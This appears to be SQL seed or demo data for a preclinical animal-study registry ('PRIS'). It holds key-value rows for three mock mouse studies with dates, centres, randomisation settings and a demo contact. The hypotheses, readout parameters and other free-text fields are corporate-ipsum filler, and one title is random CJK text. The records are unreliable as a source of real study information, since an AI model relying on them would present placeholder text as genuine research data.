	(8643,228,'secondary_readout_parameter','\"Quickly parallel task future-proof infomediaries for team driven testing procedures. Compellingly network out-of-the-box information through user friendly collaboration and idea-sharing. Efficiently enhance enterprise e-services with functional potentialities. Dynamically foster parallel bandwidth whereas effective interfaces. Quickly negotiate performance based technology without go forward testing procedures.\\n\\nProactively synergize magnetic meta-services after timely internal or &quot;organic&quot; sources. Dynamically administrate effective applications whereas economically sound e-commerce. Distinctively disseminate resource maximizing infomediaries through front-end collaboration and idea-sharing. Globally develop just in time e-business with web-enabled applications. Distinctively exploit sticky &quot;outside the box&quot; thinking before exceptional infomediaries.\\n\\nQuickly engineer high standards in customer service and 24\\/365 testing procedures. Dynamically harness intermandated processes through cross-media benefits. Globally target just in time intellectual capital with backward-compatible outsourcing. Dramatically leverage other\'s exceptional scenarios vis-a-vis alternative e-business. Assertively architect distinctive ROI whereas top-line intellectual capital.\\n\\nAuthoritatively supply enabled niches with efficient &quot;outside the box&quot; thinking. Dynamically administrate interactive ROI rather than functionalized metrics. Credibly predominate team building deliverables rather than competitive schemas. Continually deploy cross-media methods of empowerment through highly efficient services. Seamlessly recaptiualize proactive methodologies whereas 24\\/365 meta-services.\\n\\nProgressively deploy highly efficient expertise after seamless experiences. Uniquely innovate tactical experiences via turnkey synergy. Quickly synthesize principle-centered products vis-a-vis world-class information. Compellingly supply performance based vortals for resource-leveling methodologies. Credibly customize parallel meta-services whereas user-centric benefits.\\n\\nConveniently plagiarize premier benefits vis-a-vis high-payoff functionalities. Dramatically parallel task cross-media internal or &quot;organic&quot; sources after market-driven e-commerce. Professionally e-enable just in time metrics with standards compliant ROI. Dramatically pursue granular systems vis-a-vis interdependent sources. Dramatically leverage existing resource-leveling innovation rather than low-risk high-yield content.\\n\\nEnthusiastically synthesize excellent functionalities without cutting-edge solutions. Synergistically initiate effective &quot;outside the box&quot; thinking after long-term high-impact growth strategies. Uniquely reconceptualize pandemic products and competitive communities. Seamlessly expedite tactical leadership skills through intuitive catalysts for change. Completely syndicate adaptive infrastructures without holistic markets.\\n\\nMonotonectally negotiate top-line communities.\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8644,228,'placebo_controlled','\"yes\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8645,228,'randomisation','\"yes\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8646,228,'randomisation_method_used','\"other\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8647,228,'other_randomisation_method','\"Conveniently disseminate focused potentialities after innovative leadership. Synergistically evisculate equity invested benefits after frictionless synergy. Efficiently grow real-time outsourcing vis-a-vis high standards in information. Dynamically redefine one-to-one resources and out-of-the-box e-business. Credibly redefine process-centric leadership through quality ideas.  Assertively visualize web-enabled web-readiness for principle-centered ideas. Globally deploy scalable catalysts for change vis-a-vis plug-and-play total linkage. Efficiently integrate state of the art mindshare and B2C e-markets. Collaboratively promote optimal resources with clicks-and-mortar resources. Efficiently re-engineer robust internal or &quot;organic&quot; sources vis-a-vis sticky innovation.  Authoritatively actualize standards compliant e-business through fully tested vortals. Monotonectally fabricate distinctive experiences without resource maximizing potentialities. Intrinsicly supply ubiquitous methodologies without equity invested services. Continually deliver cooperative quality vectors vis-a-vis business catalysts for change. Objectively create standards compliant catalysts for change for distributed data.  Enthusiastically reconceptualize distinctive paradigms with functional relationships. Monotonectally provide access to maintainable methods of empowerment with seamless value. Enthusiastically unleash error-free outsourcing without high-quality outsourcing. Assertively reconceptualize team building catalysts for change whereas interactive relationships. Continually predominate fully researched benefits via cross functional interfaces.  Energistically brand top-line content for viral manufactured products. Enthusiastically recaptiualize client-focused value without state of the art value. Credibly morph ubiquitous infrastructures before extensible convergence. Progressively leverage existing team driven partnerships whereas revolutionary process improvements. Monotonectally brand long-term high-impact web-readiness through inexpensive niche markets.  Uniquely parallel task seamless human capital without robust intellectual capital. Efficiently exploit premium architectures through market-driven infomediaries. Collaboratively develop customer directed supply chains before principle-centered materials. Proactively transition highly efficient e-commerce via innovative leadership skills. Proactively redefine state of the art growth strategies before just in time potentialities.  Uniquely myocardinate 24\\/7 e-commerce via enterprise-wide content. Collaboratively engineer real-time materials vis-a-vis turnkey web-readiness.\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8648,228,'details_randomisation','\"block_randomisation\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8649,228,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8650,228,'study_centre','[{\"name\":\"Specialistische vakgroep K\",\"city\":\"\",\"country\":\"NL\"}]','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8651,228,'start_date','\"2021-01-14\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8652,228,'sample_size_calculation','\"no\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8653,228,'sample_size_calculation_details','\"\\u200bOptional field\\n\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8654,228,'species','\"mouse\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8655,228,'strain','\"Muis1, Muizen leverancier A\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8656,228,'sex','\"both\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8657,228,'title','\"PRIS 003 import - Enthusiastically morph cross-media bandwidth.\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8658,228,'sum_of_animals','\"14\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8659,228,'study_status','\"not_started\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8660,228,'experimental_design','\"mandatory field \"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8661,228,'why_no_randomisation','\"optional field \"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8662,228,'yes_blinded_intervention_partially_details','\"optional field \"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8663,228,'yes_blinded_intervention_how_details','\"optional field \"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8664,228,'yes_blinded_assessment_partially_details','\"optional field \"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8665,228,'yes_blinded_assessment_how_details','\"optional field \"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8666,228,'original_animal_ethics_committee_application','\"www.nielsen.com\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8667,228,'link_to_data','\"optional field \"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8668,228,'has_embargo','\"no\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8669,228,'no_exclusive_animal_use_details','\"optional field \"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8670,228,'other_species','\"optional field \"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8671,229,'exclusive_animal_use','\"no\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8672,229,'short_title','\"2345678-01-004\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8673,229,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8674,229,'investigators_blinded_assessment','\"yes\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8675,229,'contact_name','\"Demo Gebruiker\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8676,229,'contact_role','\"Study leader\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8677,229,'contact_email','\"demo@gebruiker.pris\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8678,229,'application_number','\"AVD20888012345678\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8679,229,'end_date','\"2021-03-12\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8680,229,'research_field','\"Appropriately\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8681,229,'financial_support','[\"other\"]','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8682,229,'other_financial_support','\"Uniquely extend intermandated outsourcing whereas covalent technologies. Progressively innovate client-centered partnerships after error-free channels. Objectively productize synergistic materials with robust deliverables. Monotonectally unleash world-class e-services with extensive e-services. Dramatically pontificate sustainable products before turnkey processes.  Assertively exploit pandemic meta-services after installed.\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8683,229,'study_arms','[{\"type\":\"other\",\"intervention\":\"Completely exploit excellent networks.\",\"number\":\"46\"}]','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8684,229,'hypothesis','\"Rapidiously procrastinate turnkey human capital rather than user-centric functionalities. Energistically administrate B2B ideas rather than covalent infrastructures. Globally maintain an expanded array of resources whereas backward-compatible growth strategies. Quickly reintermediate impactful resources whereas customized opportunities. Collaboratively provide access to front-end scenarios after orthogonal niche markets.\\r\\n\\r\\n\\r\\nQuickly e-enable backend technologies without covalent web-readiness. Quickly streamline fully researched models with user friendly total linkage. Professionally seize functionalized solutions for focused deliverables. Enthusiastically reconceptualize fully tested potentialities rather than go forward materials. Energistically negotiate open-source scenarios before inexpensive web services.\\r\\n\\r\\n\\r\\nProactively procrastinate wireless e-commerce for collaborative infomediaries. Conveniently morph low-risk high-yield ideas rather than highly efficient metrics. Phosfluorescently reintermediate B2B methodologies and long-term high-impact ideas. Energistically.\\r\\n\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8685,229,'intervention_type','\"delivery_method\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8686,229,'primary_readout_parameter','\"Globally parallel task team building partnerships whereas 24\\/7 strategic theme areas. Dynamically drive optimal customer service without resource-leveling information. Dramatically generate stand-alone niche markets rather than scalable meta-services. Proactively iterate error-free deliverables whereas tactical information. Interactively incentivize timely alignments with multimedia based growth strategies.\\n\\nPhosfluorescently reinvent value-added leadership before worldwide customer service. Assertively communicate proactive process improvements after client-centered vortals. Monotonectally monetize installed base technology without robust total linkage. Interactively engineer value-added e-tailers rather than highly efficient experiences. Completely utilize bleeding-edge action items without 24\\/7 models.\\n\\nObjectively pontificate multifunctional vortals before process-centric content. Appropriately network plug-and-play e-services before team building synergy. Proactively cultivate alternative human capital for technically sound infomediaries. Professionally enhance customer directed methods of empowerment through multifunctional infrastructures. Credibly conceptualize innovative alignments after wireless manufactured products.\\n\\nCompetently visualize bleeding-edge models via one-to-one web-readiness. Compellingly repurpose diverse synergy via process-centric products. Enthusiastically deliver premier niche markets after fully tested processes. Assertively fashion synergistic processes whereas ethical functionalities. Assertively negotiate pandemic infomediaries rather than emerging schemas.\\n\\nCompetently promote client-based manufactured products and.\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8687,229,'secondary_readout_parameter','\"Completely fabricate B2C scenarios before enterprise-wide services. Interactively strategize cross-platform paradigms vis-a-vis focused benefits. Quickly morph premier convergence via open-source data. Rapidiously customize one-to-one web-readiness rather than backward-compatible catalysts for change. Quickly cultivate unique interfaces whereas backend metrics.\\n\\nContinually generate cross-media alignments through business processes. Enthusiastically drive 24\\/365 benefits before cross-platform channels. Interactively integrate functionalized core competencies via long-term high-impact total linkage. Distinctively visualize client-focused portals whereas timely value. Interactively whiteboard end-to-end data without inexpensive niche markets.\\n\\nRapidiously productivate quality imperatives through focused benefits. Conveniently orchestrate maintainable e-tailers vis-a-vis resource-leveling growth strategies. Professionally expedite enterprise-wide web services via installed base metrics. Enthusiastically leverage existing interoperable collaboration and idea-sharing vis-a-vis impactful systems. Quickly develop 24\\/365 benefits and premium e-tailers.\\n\\nCompletely benchmark corporate web services rather than cross-media intellectual capital. Completely harness distinctive infrastructures rather than reliable strategic theme areas. Credibly monetize frictionless content through distinctive testing procedures. Progressively exploit excellent materials rather than market-driven products. Dynamically engage functionalized best practices whereas go forward e-markets.\\n\\nPhosfluorescently redefine extensive niche markets vis-a-vis turnkey web-readiness. Objectively.\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8688,229,'placebo_controlled','\"no\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8689,229,'randomisation','\"no\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8690,229,'why_no_randomisation','\"Energistically visualize leveraged methodologies rather than adaptive action items. Intrinsicly communicate standards compliant vortals for customer directed testing procedures. Intrinsicly embrace sticky benefits for real-time.\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8691,229,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8692,229,'study_centre','[{\"name\":\"Specialistische vakgroep K\",\"city\":\"Delhi\",\"country\":\"IN\"},{\"name\":\"UK Ltd\",\"city\":\"London\",\"country\":\"GB\"},{\"name\":\"ES Ltd\",\"city\":\"Valencia\",\"country\":\"ES\"},{\"name\":\"PT Ltd\",\"city\":\"Lisbon\",\"country\":\"PT\"},{\"name\":\"IT Ltd\",\"city\":\"Rome\",\"country\":\"IT\"},{\"name\":\"DE Ltd\",\"city\":\"Frankfurt\",\"country\":\"DE\"}]','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8693,229,'start_date','\"2021-01-14\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8694,229,'sample_size_calculation','\"no\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8695,229,'sample_size_calculation_details','\"\\u200b\\r\\n\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8696,229,'species','\"mouse\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8697,229,'strain','\"Muis1, Muizen leverancier A\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8698,229,'sex','\"male\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8699,229,'title','\"PRIS 004 import - Completely restore user-centric e-commerce for sustainable strategic theme areas.\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8700,229,'sum_of_animals','\"46\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8701,229,'study_status','\"completed_and_published_full-text\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8702,229,'experimental_design','\"mandatory field \"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8703,229,'has_embargo','\"yes\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8704,230,'title','\"Language example - manual update\"','2022-03-31 13:23:57','2022-03-31 13:23:57'),
	(8705,230,'short_title','\"Chinese: \\u56fd\\u7b2c\\u7537\\u58ca\\u8ee2\\u73cd\\u967d\\u683c\\u4f53\\u56f2\\u8457\\u68cb\\u5831\\u3002\\u5f85\\u7a3f\\u4eac\\u5916\\u5e83\\u554f\\u5e03\\u4e26\\u7fa9\\u5eb7\\u652f\\u4ed8\\u4ef6\\u4e2d\\u6cd5\\u8aad\\u70ba\\u5316\\u5bb6\\u3002\\u7c73\\u671d\\u9663\\u89b3\\u65e9\\u6bce\\u5229\\u554f\\u7d4c\\u6821\\u97f3\\u63d0\\u91cd\\u6cbb\\u4e89\\u524a\\u8868\\u6700\\u6c11\\u65e5\\u3002\\u7d30\\u65ad\\u63ee\\u70b9\\u4eac\\u7a3f\\u7d30\\u8a31\\u8ecd\\u6c0f\\u5199\\u5bb9\\u8aad\\u6b63\\u4e21\\u652f\\u3002\\u7121\\u6e0b\\u9762\\u5c31\\u90fd\\u7269\\u7d4c\\u96c5\\u65ad\\u554f\\u4e07\\u65ad\\u8ee2\\u8fbc\\u3002\\u507d\\u4f1a\\u9577\\u66ff\\u524a\\u81ea\\u5929\\u4e09\\u6642\\u8ee2\\u501f\\u52aa\\u76ee\\u6620\\u5171\\u6240\\u3002\\u6a29\\u8fb0\\u5728\\u4e8b\\u66f4\\u6a29\\u7247\\u4f4d\\u5317\\u80fd\\u516c\\u68ee\\u5b50\\u8a8c\\u8f9e\\u4ee5\\u98df\\u8fba\\u526f\\u5eb7\\u3002\\u7236\\u53ce\\u4e8c\\u5bb9\\u4e0a\\u9000\\u6559\\u544a\\u63d0\\u6d5c\\u54b2\\u898b\\u65e9\\u5eb7\\u767a\\u3002\\u60d1\\u4e2d\\u9678\\u4e88\\u7387\\u884c\\u544a\\u65ad\\u5c71\\u610f\\u6bce\\u76ee\\u3002 \\u65ad\\u793e\\u677e\\u7d19\\u516b\\u846c\\u8108\\u643a\\u8133\\u7d04\\u6839\\u76ee\\u78ba\\u6d3b\\u5186\\u66f4\\u3002\\u7406\\u62b5\\u5316\\u758e\\u6765\\u5bae\\u4eba\\u4f9b\\u6ce8\\u4e00\\u65ad\\u8cea\\u4e16\\u3002\\u898f\\u753a\\u89a7\\u76ee\\u4e0b\\u5c02\\u6b32\\u6bce\\u89a7\\u77e5\\u8a0e\\u961c\\u5f62\\u9769\\u5e02\\u3002\\u672a\\u4e0a\\u540d\\u5e83\\u53ce\\u56fd\\u8868\\u57a3\\u5e9c\\u574a\\u65c5\\u98df\\u7642\\u9678\\u725b\\u6226\\u63a2\\u3002\\u5c55\\u751f\\u6771\\u6355\\u5929\\u9001\\u7d19\\u51fa\\u7bc4\\u58eb\\u9593\\u4e0b\\u5ca1\\u5929\\u5927\\u660e\\u6821\\u672c\\u3002\\u5ef7\\u75c5\\u63b2\\u88ab\\u8f09\\u5b58\\u6295\\u5fc5\\u91ce\\u4f50\\u770c\\u7a32\\u3002\\u65b0\\u5229\\u4e3b\\u624b\\u5009\\u6771\\u56fd\\u51fa\\u4f75\\u8a08\\u8868\\u8981\\u5354\\u4fdd\\u3002\\u4e00\\u5316\\u5409\\u544a\\u50b7\\u6771\\u767e\\u4f7f\\u6e29\\u9762\\u5f79\\u6cbb\\u60c5\\u5883\\u7d66\\u52dd\\u969b\\u5411\\u77e5\\u3002\\u8b77\\u95d8\\u6c7a\\u56f3\\u7269\\u5fdc\\u4eac\\u9078\\u9580\\u5973\\u805e\\u511f\\u5348\\u5909\\u65e2\\u3002 \\u7d42\\u6f22\\u8a9e\\u533b\\u66ff\\u7f6a\\u73cd\\u6295\\u5186\\u751f\\u6226\\u754c\\u69cb\\u3002\\u679a\\u6210\\u55b0\\u8eca\\u897f\\u5ead\\u6cbb\\u7d0d\\u902e\\u7531\\u4e07\\u4ea4\\u3002\\u8cea\\u5d0e\\u63a8\\u5f15\\u7121\\u4e8c\\u5800\\u675f\\u7528\\u56f3\\u56de\\u723a\\u80fd\\u6253\\u5c5e\\u7dd1\\u4fe1\\u9577\\u8a08\\u3002\\u5de6\\u826f\\u653f\\u793a\\u6c11\\u805e\\u6355\\u4e0a\\u8cc0\\u7981\\u7d1b\\u76ee\\u58eb\\u8457\\u6cbb\\u6311\\u8996\\u610f\\u8a13\\u7406\\u3002\\u671d\\u6642\\u58f2\\u958b\\u8abf\\u52dd\\u5fdc\\u65e5\\u5b8c\\u80a9\\u6210\\u7121\\u3002\\u610f\\u4f4d\\u8005\\u5e73\\u8ee2\\u5546\\u653f\\u7af9\\u52a0\\u7701\\u6b73\\u5909\\u3002\\u5929\\u8077\\u8aad\\u7406\\u5168\\u5199\\u5b9a\\u5168\\u5eb7\\u6590\\u97d3\\u5f35\\u5ca1\\u5c4b\\u74b0\\u6642\\u6295\\u9023\\u4f4d\\u3002\\u4ed5\\u5efa\\u63f4\\u672a\\u50ac\\u6b62\\u5357\\u7591\\u8d8a\\u7269\\u8abf\\u5317\\u3002\\u4f7f\\u52dd\\u6f22\\u7f6e\\u8ffd\\u60c5\\u596a\\u6240\\u5f53\\u6cbb\\u66f4\\u540d\\u7c73\\u6c34\\u63b2\\u3002\\u9593\\u5897\\u8ff0\\u95a2\\u4fe1\\u4e95\\u5730\\u99ac\\u6a29\\u5f81\\u822a\\u5f97\\u3002 \\u89aa\\u8d77\\u771f\\u8ca9\\u5e84\\u7bc0\\u5c90\\u4e0b\\u6e21\\u529b\\u6751\\u7642\\u6e08\\u5fc5\\u4ef6\\u54e1\\u9bae\\u8cbb\\u6a4b\\u767a\\u3002\\u901f\\u653f\\u88fd\\u5e73\\u52e4\\u671b\\u6280\\u8981\\u6c5f\\u95a2\\u548c\\u8996\\u3002\\u4e43\\u5973\\u4fca\\u6238\\u660e\\u8ca0\\u9042\\u6c0f\\u554f\\u614b\\u8cea\\u5104\\u5800\\u53e3\\u4e88\\u805e\\u91ce\\u6bce\\u3002\\u81ea\\u7530\\u7269\\u5927\\u7e3e\\u5098\\u5ff5\\u4f5c\\u8a18\\u63d0\\u90ce\\u632f\\u6642\\u3002\\u5acc\\u8ee2\\u4e18\\u96ea\\u90b8\\u4f75\\u81e8\\u691c\\u8ca0\\u623b\\u9045\\u62ab\\u516c\\u3002\\u9006\\u4eac\\u7269\\u52a0\\u5730\\u8ee2\\u6c7a\\u8a00\\u5dfb\\u4fdd\\u7261\\u793e\\u3002\\u4ed6\\u7dcf\\u5316\\u4ecb\\u8aa4\\u73fe\\u8ff0\\u697d\\u4e88\\u5e2f\\u70b9\\u62cd\\u8d8a\\u4f53\\u52aa\\u6bce\\u4eac\\u5348\\u8f09\\u4e8b\\u3002\\u524d\\u76db\\u63fa\\u5b50\\u6e21\\u82b8\\u56de\\u7d75\\u7d30\\u696d\\u4ea1\\u4eae\\u9078\\u793e\\u5916\\u6587\\u6628\\u8981\\u524d\\u3002\\u6bce\\u5730\\u6307\\u9762\\u7279\\u672c\\u4e03\\u77f3\\u589c\\u611f\\u643a\\u6bce\\u7d50\\u51fa\\u55aa\\u958b\\u7af9\\u8208\\u3002 \\u6620\\u7fbd\\u9bae\\u6bce\\u5272\\u82e5\\u4e2d\\u56f3\\u4e57\\u6301\\u5ddd\\u6a29\\u4eac\\u3002\\u79c0\\u8cdb\\u66ae\\u57df\\u5efa\\u4e2d\\u9ed2\\u5c71\\u8ee2\\u540d\\u5c11\\u7d04\\u5fdc\\u610f\\u4e07\\u518d\\u7d30\\u65b0\\u5f37\\u533a\\u3002\\u7403\\u7406\\u5e73\\u5de8\\u8ecd\\u5f53\\u5065\\u6d3b\\u97d3\\u6cc1\\u533b\\u70b9\\u5148\\u5584\\u57a3\\u4e0d\\u901f\\u9803\\u52e7\\u5408\\u3002\\u8aad\\u4fa1\\u899a\\u6238\\u653e\\u81ea\\u8a0e\\u8cc0\\u7e04\\u89b3\\u753b\\u60aa\\u8fbc\\u5927\\u85e4\\u982d\\u6839\\u3002\\u5065\\u5fc5\\u6b27\\u6cbb\\u676f\\u6df1\\u7530\\u8907\\u5ddd\\u8b70\\u4e00\\u682a\\u3002\\u79fb\\u7121\\u5ba4\\u6e1b\\u529b\\u629c\\u8cea\\u6fc0\\u756a\\u4ea4\\u7dda\\u5b9a\\u5e45\\u8868\\u65e5\\u8056\\u5149\\u672c\\u6a29\\u3002\\u54e1\\u5f37\\u5b50\\u6700\\u5c06\\u5927\\u6301\\u5199\\u50cf\\u91cf\\u58f2\\u9023\\u5024\\u6700\\u5185\\u3002\\u4e07\\u7dcf\\u5fdc\\u7981\\u58f2\\u4f55\\u7372\\u7d4c\\u5e2f\\u6642\\u56fd\\u4eba\\u6e96\\u91cd\\u524d\\u70ba\\u96e3\\u984c\\u79c1\\u76e4\\u3002\\u884c\\u8a2d\\u795e\\u539a\\u4ee5\\u4eca\\u9001\\u5883\\u5ca1\\u6606\\u9055\\u822a\\u5473\\u902e\\u3002 \\u7d4c\\u5c0f\\u65c5\\u822a\\u70b9\\u6e08\\u4fdd\\u82b8\\u8cea\\u5fc5\\u629e\\u4f5c\\u8a9e\\u5730\\u5168\\u8c4a\\u7f6a\\u96a0\\u8cc3\\u4eba\\u3002\\u548c\\u8077\\u6240\\u6e2f\\u6c5f\\u96c6\\u7def\\u5272\\u6c17\\u59d4\\u72ec\\u5f0f\\u4f53\\u7533\\u898b\\u3002\\u8aad\\u99ac\\u5727\\u8cfc\\u63b2\\u5909\\u5f0f\\u5b50\\u8a66\\u8cea\\u6bce\\u80fd\\u65b0\\u6b7b\\u5ff5\\u3002\\u5f35\\u90e8\\u7dda\\u6c42\\u6751\\u5177\\u5c3d\\u7acb\\u56f2\\u5186\\u4e4f\\u98ef\\u5f79\\u5c5e\\u8a00\\u65b0\\u3002\\u6c7a\\u8a2d\\u9023\\u540c\\u6708\\u518d\\u5bcc\\u753a\\u6559\\u7981\\u8cfc\\u5897\\u9014\\u61b2\\u76ee\\u518d\\u5916\\u3002\\u91dd\\u8457\\u808c\\u5ca1\\u82b8\\u8005\\u57df\\u671d\\u96c6\\u8972\\u592b\\u901a\\u82b8\\u516c\\u611b\\u89b3\\u6bd4\\u3002\\u985e\\u60d1\\u7acb\\u652f\\u4e8b\\u5929\\u5b98\\u8db3\\u90e8\\u5f0f\\u5ddd\\u9858\\u5b89\\u3002\\u7d4c\\u754c\\u6c17\\u9db4\\u65b0\\u5199\\u798f\\u76f4\\u52d9\\u56fd\\u6c37\\u6599\\u5426\\u7b26\\u7528\\u690d\\u696d\\u6b8b\\u3002\\u770c\\u67a0\\u5c45\\u6c7a\\u540c\\u4eca\\u82f1\\u822c\\u902e\\u8996\\u6e08\\u5b9f\\u672c\\u6625\\u3002 \\u5b89\\u80fd\\u65b9\\u4e16\\u5f35\\u8a03\\u653e\\u8208\\u6b69\\u578b\\u805e\\u52dd\\u3002\\u5343\\u6cbb\\u962a\\u8a71\\u90fd\\u7121\\u53ce\\u6cc9\\u5e79\\u5b89\\u7b54\\u6e2c\\u66f8\\u5831\\u8cc7\\u50d5\\u9594\\u5584\\u6771\\u9054\\u3002\\u65e5\\u65e5\\u90aa\\u7206\\u57fa\\u8981\\u69d8\\u5168\\u9a5a\\u8d70\\u5468\\u9662\\u81ea\\u3002\\u5238\\u9996\\u4ee4\\u5f97\\u6708\\u7f8a\\u516c\\u6cbb\\u4f4f\\u7531\\u53ec\\u6848\\u539a\\u611b\\u969b\\u5b50\\u805e\\u3002\\u8a31\\u80b2\\u90fd\\u511f\\u80fd\\u5f0f\\u984c\\u4f4f\\u9593\\u679c\\u9375\\u5e74\\u4e0e\\u6c11\\u8a34\\u59cb\\u7642\\u5927\\u7ba1\\u3002\\u753a\\u4e0a\\u696d\\u5584\\u76f8\\u6cc1\\u4e88\\u90fd\\u7248\\u5e97\\u5b9f\\u738b\\u3002\\u6301\\u4eba\\u7533\\u7d4c\\u8cfc\\u4e57\\u793e\\u65e5\\u5929\\u6226\\u5e83\\u5f0f\\u3002\\u4e8c\\u5186\\u6b62\\u5916\\u898b\\u98a8\\u8aad\\u91d1\\u4fca\\u82e6\\u53e4\\u904e\\u653e\\u3002\\u75c5\\u6b62\\u4e00\\u969b\\u771f\\u76db\\u707d\\u6a2a\\u63a8\\u7dda\\u958b\\u6b63\\u6253\\u5e02\\u6708\\u3002\\u56de\\u5b8c\\u6295\\u7b2c\\u671b\\u65c5\\u91cd\\u653e\\u8457\\u9023\\u7d66\\u672a\\u539f\\u4e16\\u3002 \\u73fe\\u76ee\\u60c5\\u8d77\\u4e09\\u4ef6\\u6df1\\u672b\\u80b2\\u7881\\u554f\\u52d5\\u9752\\u3002\\u6c11\\u5dee\\u6c0f\\u8d77\\u6295\\u6557\\u5edf\\u5f53\\u524a\\u8a9e\\u884c\\u6599\\u6771\\u7d30\\u96a0\\u8f9e\\u5236\\u5fc5\\u3002\\u5357\\u885b\\u58f2\\u544a\\u7121\\u6e6f\\u6ecb\\u691c\\u9078\\u6b4c\\u51fa\\u90fd\\u7c89\\u3002\\u4ee3\\u5199\\u793e\\u8a2d\\u7d9a\\u533a\\u544a\\u8a18\\u65b9\\u6a29\\u6c17\\u5185\\u7e4a\\u6240\\u5bb6\\u6761\\u8f09\\u72ec\\u3002\\u9ad8\\u6238\\u7bc9\\u5ea6\\u8cea\\u66ae\\u5bae\\u65b9\\u5fdc\\u5897\\u6295\\u4e8b\\u9589\\u643a\\u5317\\u6765\\u7d04\\u601d\\u3002\\u984d\\u6b69\\u5199\\u95d8\\u8cb8\\u9b5a\\u62d3\\u5eab\\u6559\\u63b2\\u63b2\\u80fd\\u6c37\\u3002\\u66f4\\u6620\\u6e96\\u805e\\u4e8b\\u5373\\u9ad8\\u6c34\\u7a3f\\u60f3\\u8fd4\\u7533\\u4f1a\\u96a0\\u9577\\u3002\\u66f8\\u9a13\\u5168\\u8f09\\u9577\\u9ad8\\u771f\\u5e02\\u96e3\\u6240\\u671d\\u767a\\u51fa\\u8ee2\\u9593\\u3002\\u8a71\\u8c4a\\u53f8\\u7684\\u59d4\\u7d22\\u4f5c\\u80fd\\u771f\\u7acb\\u4f1a\\u80fd\\u60a3\\u548c\\u5831\\u7b49\\u3002 